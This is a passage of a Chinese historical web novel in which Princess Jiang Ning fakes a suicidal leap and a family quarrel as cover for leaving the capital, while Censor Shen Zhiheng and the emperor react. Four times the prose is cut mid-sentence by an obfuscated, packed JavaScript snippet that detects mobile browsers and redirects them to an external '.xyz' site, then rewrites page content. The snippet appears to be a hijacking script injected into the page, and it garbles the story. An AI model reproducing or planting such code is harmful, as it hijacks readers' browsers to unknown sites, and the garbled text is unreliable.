待到煎好的药汁被小心翼翼地喂沈之衡服下，刘太医又在其手腕几处穴位施了针。片刻后，沈之衡眉心一蹙，缓缓睁开了眼睛。 见人醒来，刘太医又细细交代了向恒声一番照料的事项，便告辞离开了。 听着刘太医远去的脚步声消失在廊下，沈之衡气息微弱，目光投向床边的向恒声，声音干涩沙哑：“公主殿下……怎么样了？” 向恒声一听，忍不住扶额叹气：“我说怀野，你现在还有心思管殿下？你自己的小命都差点交代了！”他越说越气急，“你往河里跳的那一刻，是把不通水性给忘了？是把自己身上的毒给忘了？还是真就铁了心要给公主殿下殉情了？啊？！” 沈之衡置于锦被外的手微微蜷缩了一下，眸色更加黯淡，艰难地追问：“殿下……没救回来……吗？” 向恒声简直气笑了，声音拔高：“殿下没事！好着呢！” “嗯。”沈之衡极其轻微地应了一声，随即又疲惫地阖上了双眼。 向恒声抓起桌上的冷茶壶，仰头灌了几大口，才稍稍顺过气来。他坐到床沿边，压低了声音问道：“昨夜你和公主到底怎么回事？怎么聊着聊着，就闹到跳河的地步了？” 沈之衡沉默着，并未睁眼。 向恒声急道：“大理寺留在宫门口的兄弟刚传回消息，圣上已经派李公公出宫查问昨晚的事了！究竟发生了什么，你赶紧告诉我啊！咱们得赶紧想个能圆过去的说法，回头圣上问起来，才不至于措手不及！” 沈之衡的眼睫终于颤动了一下。 昨夜发生了什么？ 无非是她问他可愿做她的驸马，他回拒了。 然后，她便纵身跳下了沉月河。 ——“若沈大人执意不做这驸马，那姜宁活着，还有何意趣？” 她那平静又决然的语调，仿佛仍在耳畔回响。 过了许久，沈之衡才低低地开口，带着难以言喻的困惑：“良安，你说她……何至于此？” 向恒声闻言，一脸错愕：“所以外面疯传的那些话，说公主是因你拒婚才羞愤跳河寻死，竟是真的？” “我不知道，”沈之衡的声音轻得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138561|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹息，透着深深的疲惫与迷茫，“我……实在看不懂她。” 向恒声站起身，背着双手在狭小的屋子里来回踱步，忧心忡忡：“先前汪家明里暗里拉拢你，被你一口回绝干净。现在闹出和公主这档子事儿，外头议论纷纷，只怕你再难与公主、与苏家撇清干系了。可苏家那池子水，又岂是好趟的？” 难道……这才是她步步紧逼的意图所在？ 沈之衡无法确定。只觉得身体沉重不堪，思绪却不听使唤地被拉回昨夜沉月河畔的每一幕—— “沈大人信也罢，不信也罢。苏家之事，另有隐情。” “若他日需在黎民苍生与心头所重间择其一，沈大人会如何取舍？” “若本宫偏要强求呢？” “若沈大人执意不做这驸马。那姜宁活着，还有何意趣？” …… 恍惚间，他又骤然记起初遇的那个雪日——京郊南郊，漫天风雪，她解下自己那件尚带体温的貂绒大氅，覆在了冻僵的他身上。 那日她分明已知晓他手握苏家贪墨的实证，为何没有在冰天雪地里直接了结他？ 沈之衡的思绪逐渐混沌。他似乎……从未看懂过这位公主。 —————— 公主府，暖阁内烛火明亮。 姜宁倚在锦缎靠枕上，接过惜桃递来的温热的牛乳茶，一大口喝下去，露出满足的笑容，苍白的脸颊也似染上了几分红晕。 惜桃站在一旁，絮絮叨叨回顾着昨夜的凶险。 突然，房门被轻轻叩响。 姜宁几乎是立刻缩回被子里，摆出虚弱的模样。 惜桃反应极快，忙将盛过牛乳茶的空杯藏在身后隐蔽处，这才走到门口开门，对门外之人福身行礼：“苏大人。” 苏长英微微颔首，迈步进来，目光掠过姜宁“虚弱”的模样，了然于心。他面上毫无忧色，反而朗声道：“好了，快别装了，就我在这，坐起来说话。” 姜宁“噗嗤”一声笑了出来，利落地坐直了身体，笑眼弯弯地看着他：“长英哥哥怎么知道我是装的？” 苏长英自行在桌边坐下，接过惜桃随后奉上的茶，语气淡淡：“承嘉公主求爱遭拒，羞愤跳河。这等传得满天飞的‘佳话’，你自己信吗？” 惜桃此时已细心地将房门轻轻合拢，重新站回姜宁榻侧。 姜宁笑意更深：“我自是不信，可有人信得不就好了吗？” 苏长英端起茶盏，撇了撇浮沫：“也对。祖母可是真信了，心里急得不行，非要我立刻过来瞧瞧你究竟如何了，问你为何非要想不开，寻死觅活就为了个沈之衡。” 姜宁眨眨眼，带着几分撒娇意味：“那就劳烦长英哥哥回去帮我好生宽慰祖母。我无事，昨夜不过是场苦肉计。” 苏长英点点头，啜了口茶，放下茶盏，眉宇间带着探询：“所以呢？昨夜闹出这么大动静，甚至有可能惊扰圣驾，究竟意在何处？不仅祖父费解，我亦是困惑。” 姜宁收回笑容，目光落在屋内跳动的烛火上，语气平缓清晰：“为了出京罢了。” “出京？”苏长英扬眉。 “是啊，”姜宁又恢复了平日里那种漫不经心的慵懒姿态，“一个奢淫无度的公主，求爱被拒，羞愤之下离京游玩散心，最终跑到了庆阳那富庶风流地再觅新欢。这后续，不是顺理成章，且再自然不过了么？” 闻言，苏长英微微一怔，随即无奈地轻轻叹了口气：“虽是为了去探望……裴落，可至于闹得这般惊天动地么？” 姜宁笑着摇头，眼中却无多少笑意：“长英哥哥，你不懂。”她顿了顿，悠然又道：“沈之衡这枚棋子，我要他——只能为苏家所用。” 11. 第十一章 流言缠身（二） 正当姜宁与苏长英低语商议时，房门再度被叩响。 苏七的声音隔着门扉传来：“殿下，李公公到了。” 姜宁眸光一闪，嘴角扬起一丝狡黠的笑意，看向苏长英低语道：“长英哥哥，陪我演场戏吧。” “什么戏？”苏长英眉头紧蹙。 门外廊下，李鸿顺及其随行内侍刚到，便清晰地听见房内骤然爆发出瓷器碎裂的脆响，紧接着是声调拔高的激烈争执。 “那沈之衡究竟有何等本事，值得你为他寻死觅活？你是真要把祖父祖母气倒才甘心？”一个低沉压抑却皆是怒意的男声响起。 李鸿顺听着，倒像是苏家长孙苏长英。他暗自诧异，这位素来沉稳持重的吏部官员，竟也有如此失态之时。 “可我爱他！我只想要他做驸马！”姜宁的嘶喊带着撕裂般的哭腔。 砰！又一声重物砸地的闷响。 “满京城俊彦才子、名门贵胄何其多！难道还不够你挑选？”苏长英的声音透着焦灼与痛心。 “我在长安十二年，形单影只。如今只有在他沈之衡身边，我这颗心才得以安宁，兄长你又怎会懂？”姜宁的呼喊充满了孤注一掷的决绝，“我只要他，只要他沈之衡！” “荒谬！你这般行事，将皇家威仪置于何地？将苏家门楣又置于何地？” 门外的李鸿顺听着这番激烈言辞，手心已微微沁汗，下意识地在袖底拭了拭，看向一旁的苏七。 苏七神色却显出司空见惯的平静，略一欠身：“公公，请。” 就在此时，姜宁的嘶吼再次穿透门板：“既然苏家与父皇都是这般看我，倒不如别救漪漪，让漪漪死了干净！” 李鸿顺闻言色变，再也顾不得礼数，猛地推门而入，迭声惊呼：“殿下！万万不可！万万使不得啊！” 房内景象映入眼帘：姜宁钗环微乱，正奋力作势要撞向墙壁，全然失了平素的清贵仪态。侍女惜桃拼尽全力将她拦腰抱住。苏长英立于几步之遥，面色铁青，怒意未消。 见李鸿顺闯入，苏长英强压火气，佯作镇定，沉声道：“李公公怎么来了？”目光凌厉地扫向苏七，“下人们也不通报一声，就是这样当差的？公主府便是如此规矩？” 苏七连忙单膝跪地：“属下失职！请苏公子责罚，勿要迁怒殿下！” 姜宁见状，哭声越发悲绝：“兄长要责怪我，只管冲着我来便是，何必拿苏七撒气！” “你！”苏长英被她一激，侧身怒斥，“你在长安便任性妄为，回了京城怎地还是这般不知收敛？” 眼瞅着二人又要争吵，李鸿顺急忙上前圆场：“殿下息怒！苏大人息怒！切莫伤了和气啊。” “哼！”苏长英重重冷哼一声，霍然甩袖，对着姜宁丢下一句，“罢了！我管不了你！你好自为之！”言毕，他转向李鸿顺，语气勉强维持着礼节，“公公若是领旨而来，正事要紧，莫因这家门琐事耽搁了圣命。” 李鸿顺会意，郑重一揖，随即转向仍在抽泣的姜宁，声音放得极为柔和：“陛下听闻殿下凤体欠安，忧心如焚，特命老奴携这株千年山参，前来探望殿下玉体。”他身后的小内侍立刻躬身，将一只精致的紫檀木匣捧到姜宁面前。 姜宁抽噎着用手帕拭去泪痕，接过木匣递给惜桃，哑声道：“姜宁谢过父皇圣恩。”她转而看向李鸿顺，声音疲惫而歉意，“有劳公公奔波。今日……让公公见笑了。” “哼，你倒也知道‘丢人’二字？”一旁冷眼旁观的苏长英忍不住又刺了一句，气仍未消。 李鸿顺连忙替姜宁解围：“殿下言重了，侍奉主子是老奴的本分。天色已晚，老奴不敢叨扰殿下安寝，这就回宫复命了。”说着便要告退。 “公公且慢，本宫还有一事相求。”姜宁猛地抬头，再度出声将他唤住。 李鸿顺止步，恭敬道：“殿下请吩咐。” 姜宁抬起红肿的双眼，带着孤注一掷的期盼：“公公常在御前行走，回宫之后能否代为恳求父皇，为我和沈之衡赐婚？” “哼！”苏长英一声饱含怒意与失望的冷嗤，猛地拂袖，头也不回地快步离去，身影消失在门外。 李鸿顺心头一震，面上竭力保持平稳，谨慎答道：“殿下，此事关乎重大，绝非老奴能够置喙，全凭陛下圣心独断。但殿下这番心意，老奴定当一字不差，如实向陛下禀明。” “如此……便多谢公公了。”姜宁话音未落，巨大的悲伤仿佛瞬间将她淹没，猛然爆发出一阵撕心裂肺般的痛哭。 李鸿顺见此情状，纵然铁石心肠也不免生出几分恻隐，只得躬身道：“殿下折煞老奴了。” 待李鸿顺赶回宫中复命时，皇帝姜厚钦早已在庆元殿等候多时，陈泽仍旧沉默地半跪于御座阶下。 姜厚钦啜了口已然微凉的茶，目光沉沉地投向殿门：“如何？” 李鸿顺整理思绪，恭敬回禀道：“回陛下，此事说复杂不算复杂，说简单却又殊为棘手。” “啪！”茶盏被重重搁置于在御案之上，“你几时也学会了这般弯弯绕绕的腔调？”姜厚钦的声音里透着明显的不悦。 “老奴万死！”李鸿顺瞬间伏跪在地，不敢抬头，紧接着便将坊间流言蜚语、公主府内所见所闻，尤其是姜宁声泪俱下央求赐婚的一幕，一丝不漏，详陈御前。 随着他的叙述，姜厚钦的眉头越拧越紧。 直至听到李鸿顺禀告姜宁的赐婚请求，皇帝怒极反笑：“赐婚？她还要将这桩荒唐事演到几时？沈之衡乃天下清流砥柱，她先是不顾体统当众抚琴表露心迹，继又以寻死相胁，已然是颜面扫地！如今竟还要朕以帝王之威，强逼沈卿就范不成？” “陛下息怒！”阶下的李鸿顺与陈泽同时叩首，齐声高呼。 殿内陷入令人窒息的沉寂。半晌，姜厚钦沉沉的目光落在李鸿顺身上：“以你之见，此事该如何了结？” 李鸿顺额头冷汗涔涔而落，颤声道：“老奴愚钝，岂敢妄议天家之事。”顿了顿，他又温言道：“陛下与殿下血脉相连。普天之下，也唯有陛下，最知公主心意。” 听闻此言，姜厚钦内心软了几分。姜宁终究是自己的孩子，更是自己与灵均唯一的孩子。 姜厚钦发出一声深长的叹息，带着无尽的疲惫与困惑：“那么多世家子弟、才俊良配，她怎么就偏偏看上了沈之衡？倘若是旁人，她既欢喜，朕成全了倒也无妨……” 他的目光放空，像是陷入了遥远的思绪。 李鸿顺与陈泽匍匐在地，大气不敢出。 良久，姜厚钦指尖无意识地摩挲着温润的盏沿，才似下定了决心：“你们都起来吧。”他声音透着一丝决断后的无奈，“陈泽。” “属下在！”陈泽跪了半日，腿脚虽禁不住地抖动，但还是尽力站稳身形。 “朕有两道旨意要交予公主，一道明旨，一道口谕。李鸿顺拟旨，陈泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138562|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你亲自带回公主府宣旨。” “喏！”二人齐声应命。 片刻后，陈泽双手恭敬地接过李鸿顺递来的明黄卷轴，向姜厚钦行礼告退后，转身快步离去。 姜厚钦望着他消失在夜色的背影，眸光沉郁，低语道：“朕也不知这番处置是对还是是错。只盼姜宁，莫要埋怨朕才好。” 侍立一旁的李鸿顺适时低语宽慰：“公主殿下聪慧，必能明白陛下这一片拳拳爱女之心。” 说话间，殿外，京城又渐渐飘起了风雪。 ———— 公主府。 陈泽手持圣旨，在府邸门前肃然宣读了那道闭门思过的旨意。 对于这道旨意，姜宁其实并不意外。 一位是清流砥柱、股肱之臣，一位是离京多年、声名狼藉的公主。若她是父皇，权衡之下，也必会如此抉择，保下沈之衡的清誉与朝堂安稳。更何况，如今京城流言鼎沸，皆道她姜宁以死相逼，折辱重臣。 “儿臣领旨，定当闭门思过，静思己失。”姜宁平静地接过那道明晃晃的圣旨，缓缓起身。 陈泽接着又道：“殿下，其实圣上还有一道口谕。” 姜宁闻此，神色如常，又重新依礼跪下。 陈泽向前走了半步，轻咳了两声，随后压低声音，以确保只有姜宁能听到的语调，模仿着姜厚钦的语气道：“沈卿品貌皆是上乘，与我儿也算相配。你既喜欢，自可去追求，但莫要再做胁迫之举。若来日沈卿愿意，朕自会给你们赐婚。” 姜宁霍然抬首，瞳孔骤缩，难以置信地看向陈泽：“什么？” 陈泽郑重点头，眼神笃定：“确为圣上口谕。殿下，接谕吧。” 一股巨大的、难以言喻的悸动瞬间席卷了姜宁。 “儿臣……”姜宁的声音颤抖了一下，随即稳稳叩首，“领旨谢恩。” 随着公主府的大门被守卫缓缓合拢，姜宁仍是呆立在原地，纹丝不动。庭院深处的梅香丝丝缕缕，缠绕着寒冽的空气扑鼻而来。她的心口骤然涌起一阵酸楚的炙热，滚烫的泪水毫无征兆地从眼角滑落。 方才父皇口谕带来的巨大震动尚未平息，眼前景象却已悄然流转—— 若是母后没有逝去、凤体安康，若皇弟没有夭折、安然长大，那她便仍是这大凌朝最受帝后宠爱、最享尊荣的承嘉公主。 天元十八年，殿试金榜题名，少年新科状元沈之衡，以一道惊才绝艳的策论名扬天下。那时的她，或许便会于琼林宴上，隔着珠帘与花影，注意到那个芝兰玉树、意气风发的身影。 鲜衣怒马的状元郎，锦绣前程，青云直上。豆蔻年华的公主，天真烂漫，笑靥如花。 彼时，她也许会寻遍宫中典籍，绞尽脑汁以“请教”之名将他唤来伴读；也许会不顾宫规，偷偷溜去太学看他讲学；也许会像影子般欢喜地追随他走过的每一个角落。 而他，面对这样一个明媚骄纵却又心无城府的公主，或许……或许不会那般冷漠疏离，不会拒她于千里之外？ 待到及笄之日，那会是怎样一个春日？ 母后笑意温柔地执起她的手，父皇的目光充满慈爱与纵容。侍奉在侧的司礼监展开早已拟好的明黄卷轴—— 一旨赐婚，岁月静好，佳偶天成。 泪水再一次模糊了她的视线，那臆想中极致的圆满与眼前的孤寂冰冷，让心口那刚刚升腾的微薄暖意，更渗入了无法言说的苦涩。 12. 第十二章 起了心思 次日，正月初七，残雪未消。 沈府书房内，炭盆燃得正旺，暖意氤氲。沈之衡的身子略一好转，便又端坐于书案前，翻阅堆积的公文案牍。洛松蜷伏在他脚边，闭着眼发出轻微的鼾声。 “吱呀”一声，书房门被推开，向恒声裹挟着一缕寒气大步迈入，朗声道：“怀野，公主府那边有消息了。” 沈之衡执笔的手微微一顿，抬首望向好友：“如何？” 向恒声就近寻了张椅子坐下，语气沉稳：“圣上昨夜下了道旨意，严辞斥责公主骄纵任性，妄行胁迫朝廷重臣之举，损及皇家颜面，故责令公主闭门思过半月。”他顿了顿，长舒一口气，神情放松，“此事算是有了定论。怀野，你无事了。” 沈之衡闻言，眼睫低垂，面上并无半分庆幸，指尖在书案上无意识敲了一下，缓缓起身：“此事……亦是我言辞激切之过。我当入宫向陛下请罪。” 向恒声眼疾手快，一把将他按回椅上，正色道：“你何错之有？纵使你真有错，此刻再进宫请罪，也是下下之策。圣旨已下，覆水难收。你这般前去，无异于质疑圣裁，徒惹陛下不快。现在外面流言纷扰，陛下这道旨意，摆明了是要护你周全。你应当体察圣心，莫负了这份回护之意才是。” 沈之衡轻叹一声，目光不由自主地移向案头，便见那卷半开的《千里江山图》，以及搁置一旁的《百草经》。 他眸底深处似有微澜掠过，默默将这两件东西拿起，递予向恒声，声音极淡：“良安，得空之时，替我将这两样送回公主府吧。权作一点歉意。” 向恒声接过，指尖拂过泛黄的纸页，略带迟疑地看向好友：“怀野，你实话与我说。你对那位殿下，莫非真存了几分心思？” 沈之衡心头蓦然一紧，随即断然摇头：“绝无。”他顿了顿，声音染上些许不易察觉的疲惫，“我只是，求个心安罢了。” 那夜浮月桥亭台，姜宁决然跃入沉月河的剪影，总在不经意间浮现眼前。这两日他反复自省：是否自己那番绝情的话语，才是将她推下深渊的最后一股力？ 向恒声观察他的神色，只当已了然，点头道：“如此便好，心无挂碍，来日若真要对苏家……”他收住话头，将书卷画轴利落地拢入宽袖，又接着道：“切莫心软。” 提及苏家，沈之衡脑中闪过姜宁前夜所说的苏家亦是迫不得已。他沉吟开口：“工部苏成，还有浙江林家，你手上可有更细的线？” 向恒声浓眉微蹙：“过去并未留意。怎么突然提起这两处？” “或许与六年前苏家贪墨国帑那桩案有关。”沈之衡语气平静。。 向恒声颔首：“明白了。我命人去详查。” 两人静默片刻，向恒声仿佛想起什么，话锋一转：“对了，你可还记得年前那个冒死闯入大理寺，状告山东武定知府强占民田、夺人妻女的少年？” 沈之衡不假思索：“自然记得。此案年前已督促刑部速办。今日刑部刚递来消息，拟处流放。但据我手中掌握的铁证，其罪当斩。刑部的量刑过轻，我正拟批驳。” “此事自然。大理寺也是此意。”向恒声的嘴角忽地勾起一抹意味深长的笑意，“不过我要说的，是另一件事。” “何事？” “那名少年，姓千，单名五，家乡田宅尽毁，亲人皆亡，他不肯再回武定，但在京城亦是居无定所。我看着他倒是个机灵可靠的。不如就让他到你府上吧？”向恒声目光炯炯，“添个帮手，替你跑跑腿，喂喂洛松，熬熬药汤，清扫庭院，岂不正好？” 沈之衡闻言，眉峰紧蹙，眼中透出十足的不解。 向恒声朗声一笑：“怀野，我知你素喜清净，这些年府里就你跟洛松两个活物。”他指了指蜷着的黄犬，“但此番你落水生病，是大理寺差役两头忙活。日后你我皆忙于案牍，洛松怕是要饿肚子了。府里总该添些人手。这少年既知根知底，又心存感激，用着也放心。我已问过他，他是千肯万肯的。” 沈之衡默然片刻，目光在洛松憨睡的侧脸上停了停，终是轻叹一声：“也罢。。待你方便时，带他过来便是。我晚些时候便将西厢房收拾出来。” “好。那此事便如此定了。”向恒声笑容满面，忽地转身朝庭院方向扬声道：“千五，进来吧！” 沈之衡眉梢一扬，瞥了向恒声一眼，语带了然：“先斩后奏，这确是你这位大理寺少卿的一贯作风。” “哈哈哈！”向恒声大笑声中，一道清瘦的身影已跨入门槛。 那是个约莫十四五岁的少年，衣衫虽旧却整洁，身子清瘦，却站姿挺拔。他朝着沈之衡的方向，深深一躬到底，声音清亮，带着一股初生牛犊般的韧劲：“小人千五，拜见御史大人！” 陌生气息惊扰了洛松的美梦。它骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138563|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身，颈毛倒竖，冲着千五发出警惕的低吼。 沈之衡见状，俯身轻轻抚过洛松的头颈，温言安抚：“无妨，洛松。今后千五便是家人了，要好好相处。” 少年依旧保持着躬身的姿态。沈之衡的目光落在他微颤却倔强的肩背上，柔声道：“千五不必多礼，日后府中琐事，有劳你多多费心了。” 千五这才直起身，眼中已有感激的泪花，又“扑通”一声跪地，结结实实磕了一个响头：“大人愿意收留千五，小人不甚感激。” 沈之衡连忙起身，欲要将他扶起。但千五却未动，他抬起头，脸上带着恳切，但眼中更多是孤注一掷的勇气：“大人，千五斗胆，还有一事相求，恳请大人恩准。” 一旁的向恒声眼神微变，看向沈之衡，轻轻摇头示意自己也不知此事。 沈之衡面色沉静无波：“千五，但说无妨。” 千五再次伏地磕头，声音闷在冰冷的地砖上，声音字字清晰：“听闻大人乃是天子钦点的状元郎，寒门士子的砥柱。千五也想读书习字。大人若得闲暇，可否稍加点拨一二……千五……千五也想有朝一日能考取功名。求大人成全！”最后几字，已是哽咽难言。 刹那间，书房内的空气仿佛凝固了。 向恒声瞳孔微缩，心中大震，却强自按捺住，目光紧张地锁在沈之衡脸上，等待他的回应。千五则额头抵着地面，单薄的身体绷紧如弦，因极度的紧张与期待而微微颤抖。 静默片刻。 沈之衡眸中的冷冽倏然消融，唇边缓缓绽开一丝温煦的笑意，声音温和却带着无法忽视的肯定：“好。” 千五猛地抬起头，眼中是难以置信的光芒，声音发颤着：“谢过大人！千五叩谢大人！”又是一个响头重重磕下。 “啧啧啧……”一旁的向恒声这才长长呼出一口气，忍不住摇头，仿佛看了一场跌宕起伏的好戏。 待千五压抑着巨大的喜悦，退出书房后，向恒声凑到沈之衡身边，低声道：“怀野，这六年间，欲拜入你门下者甚多，便是朝中老臣也常向你推举子侄。倒未见你对谁如此一见而纳。” 沈之衡的目光依旧凝视着千五消失的方向，眸色深远悠长，仿佛穿透了时光的尘埃。他带着一丝不易察觉的叹息，声音极轻地开口道—— “或许……是觉得投缘吧。看到他，仿佛看到了当年的自己。” 13. 第十三章 再度离京 正月十七，风雪初霁。 庆元殿外，李鸿顺守着殿门，远远便望见陈泽步履急促、神色慌张地朝此处奔来。 不待李鸿顺开口询问，陈泽已冲至阶下，抱拳行礼，声音里压着十万火急：“公公，我有要事须即刻面禀陛下，烦请速速通传！” 李鸿顺面有难色：“陈校尉，陛下正与沈御史商议要务。不若稍候片刻？” 陈泽眉头紧锁，焦虑之色丝毫未减，声音不自觉地拔高了几分：“事关重大，恐怕一刻也等不得！再迟……怕是追不上公主殿下的驾马了。” 听到这话，李鸿顺内心猛地一沉。但圣上先前严令，他与沈御史密谈期间，任何人不得惊扰。这该如何是好？ 就在这时，皇帝姜厚钦的声音自紧闭的殿门内沉沉传出：“让陈泽进来。” “诺！”李鸿顺如释重负，连忙推开殿门，“陈校尉，请。” 陈泽匆匆一揖谢过，大步迈入殿中。 殿内，姜厚钦正坐于御案之后，神色间略带无奈：“如此急切，公主殿下又生出什么事端了？” 陈泽的目光扫过一旁端坐不动、明显得了皇帝默许的沈之衡，随后迅速取出一封信函，单膝跪地，将信件高举过额间，声音带着难以抑制的微颤：“回禀陛下，公主殿下今晨突然驾乘马车离京。此乃殿下临行前交付属下的信函，嘱托晚些再呈送到御案上。但属下思虑公主行踪蹊跷，事关重大，不敢有丝毫延误，特此入宫急报！” 殿内空气骤然凝固。一旁的沈之衡面上波澜不惊，但垂落于袖中的指尖却微微一蜷。 姜厚钦眉头一蹙，冷哼一声：“朕倒要看看，这次她又给朕预备了什么‘惊喜’！” 他离座行至陈泽面前接过信件。明黄的封蜡被撕开，信纸在手间徐徐展开。随着目光逐行扫过，他的脸色以肉眼可见的速度阴沉下来，周身散发出压抑的怒意。 但他仍是维持着沉稳的声线，对沈之衡吩咐道：“沈卿，你且先行退下，于殿外稍候片刻。” “微臣遵旨。”沈之衡即刻起身，恭谨行礼，悄然退出大殿。 随着沉重的殿门在他身后合拢，瓷盏被狠狠砸碎的清脆声响便骤然传出。 门外侍立的李鸿顺心头一紧，暗自为殿内之人捏了把冷汗。 沈之衡面色无波，对着李鸿顺微一颔首，肃然侍立一旁。 沉默弥漫了片刻，沈之衡目光落在殿檐渐消的残雪上，似不经意地开口：“公主殿下以往也常引动陛下圣怒至此么？” 李鸿顺微躬着身，轻叹一声，声音压得极低：“回大人，倒也并非如此。从前明昭皇后在时，殿下天真烂漫，鲜少任性。自明昭皇后仙逝后，殿下才渐渐生出一些骄纵之举。前些日子从长安归来，殿下虽沉默寡言，行事却也守礼。” 他声音渐微，似有忌讳，“谁曾想，前几日竟惹出那般大的事来……”话至此，他忽地缄口。 “原来如此。”沈之衡略一点头，不再言语。 庆元殿内，姜厚钦摔杯后并未即刻发作，而是颓然坐回御案之后，胸膛起伏不定，粗重的喘息声在空寂的大殿中回荡。 此刻，他心中翻涌的不是单纯的愤怒，更有一种前所未有的震动和思索。这是他第一次如此强烈地意识到，要去重新审度这个唯一的女儿。这十二年来，她在长安究竟经历了什么，何时变成如今这般？她的精心布局，最终究竟指向何处？ 信上，姜宁只道离京散心，请他勿念。但姜厚钦很快便想到了姜宁曾请求探望裴落之事，以及初五那场轰动京成的“抚琴示爱”、“投河逼婚”之戏。须臾之间，他已然明了。 她说想去探望裴落时，他还特意叮嘱要悄然行事。他本想着她会择一风平浪静之日秘密启程，未料到她竟布下此局。明修栈道，暗渡陈仓。将他这位父皇也算计进去做了一枚棋子。 而他，直到此刻才察觉。 刹那间，情绪百味杂陈。一面是帝王之怒，被亲生女儿公然设计的恼怒、被愚弄的难堪。另一面，是一丝难以言喻的欣慰与震撼。这丝欣慰中，更夹杂着一缕深沉的遗憾。 太子姜齐喜形于色，行事常依仗些自以为是的小聪明。姜宁这翻云覆雨的手段、沉潜冷静的心性、不惜搅动风云也要达成目的的魄力……借力打力，步步为营，其实更具帝王心术，更适合继承这江山重担。 只可惜……姜宁终究不是男儿身。 时间无声流淌，殿内的死寂几乎要将陈泽压垮。额间冷汗不断滚落。 良久，龙椅之上终于传来了姜厚钦沉稳威严的声音：“她带了何人离京？” “回陛下，惜桃、红叶、苏七、苏九，皆随行在侧。”陈泽连忙回禀。 “红叶是谁？” “额……殿下找来的厨子，负责公主府的膳食。” “呵”，姜厚钦眉梢微挑，唇角忽地缓缓勾起一抹难以捉摸的弧度，随后沉稳道：“你带上几人暗中保护公主，保其万全。再传密信到庆阳行宫：若公主到访，私下带她秘见淑妃，不可声张。” “是，属下谨遵圣命！”陈泽心头大石落地，立刻叩首领旨。 “嗯，退下吧。传沈之衡入内。”姜厚钦挥了挥手，方才的雷霆之怒已尽数敛去，恢复了平日的帝王威严。 “诺。” 殿外，陈泽走出，对静立一旁的沈之衡恭敬行礼：“沈大人，陛下宣召。” 沈之衡颔首道：“好。” 随后，陈泽脚步略顿，靠近他身侧，以仅有两人能闻的声音极快道：“公主殿下尚有一言托属下转达沈大人——‘殿下言，待其回京后，定当亲自向沈大人致谢。’” 沈之衡身形纹丝未动，唯声音顿了一下，随即恢复一贯的清冷平稳：“烦劳陈校尉回禀殿下，只是物归原主罢了，殿下无须客气。”言毕，再次步入庆元殿。 殿内，姜厚钦已稳坐如山，神情平静无波，丝毫不见方才的愠怒。 “沈卿，方才所议都察院联合吏部的官员考绩新法，甚合朕意。你与吏部尚书先行拟出细案呈上，朕再行详阅。”姜厚钦语气平缓，如同在谈论寻常政务，“若无重大疏漏，此后续推行事宜，便由你全权督办。” “微臣领命，定当竭力。”沈之衡躬身应道。 “另有昆仑银矿一事，主事人选已定，汪阁老举荐户部员外郎梁成光，朕以为可。”姜厚钦话锋微转，“但是银矿事关重大，不容半点闪失。你从都察院中遴选一名精干之人，授‘矿监御史’衔，随同梁成光前往昆仑督查吧。” “臣明白，即日便安排妥当。”沈之衡回答干脆利落。 “嗯。”姜厚钦点头，随后仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138564|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲话家常般开口：“沈卿……” “臣在。” “关于承嘉公主，你心中作何想？”姜厚钦话题骤转，目光则悠悠地落在沈之衡身上。 沈之衡略一欠身，声音沉稳回应：“陛下若问的是浮月桥畔之事，臣亦有失当之处。那夜言语冲撞，以致殿下受惊违和，其责难逃。陛下虽宽宏微臣，但臣恳请陛下，莫要过于苛责公主。”他微微俯首，姿态恭谨而坚定。 听到他主动揽责，姜厚钦眼眸深处掠过一丝难以察觉的微光，一抹极淡的浅笑稍纵即逝，很快被帝王的深沉压下。 姜厚钦沉声道：“此番是她任性妄为。沈卿何错之有？不必为此挂怀。”他顿了顿，声音透出一种属于父亲的深沉叹息，“朕虽是天子，亦为人父。世事无常，他日……还望你替朕务必护得宁儿周全。” 最后四字，字字千钧。 沈之衡身躯微微一震，随即郑重躬身，声音低沉而有力：“微臣谨记！” “好，你退下吧。”姜厚钦颔首，眼中流露出些许欣慰。 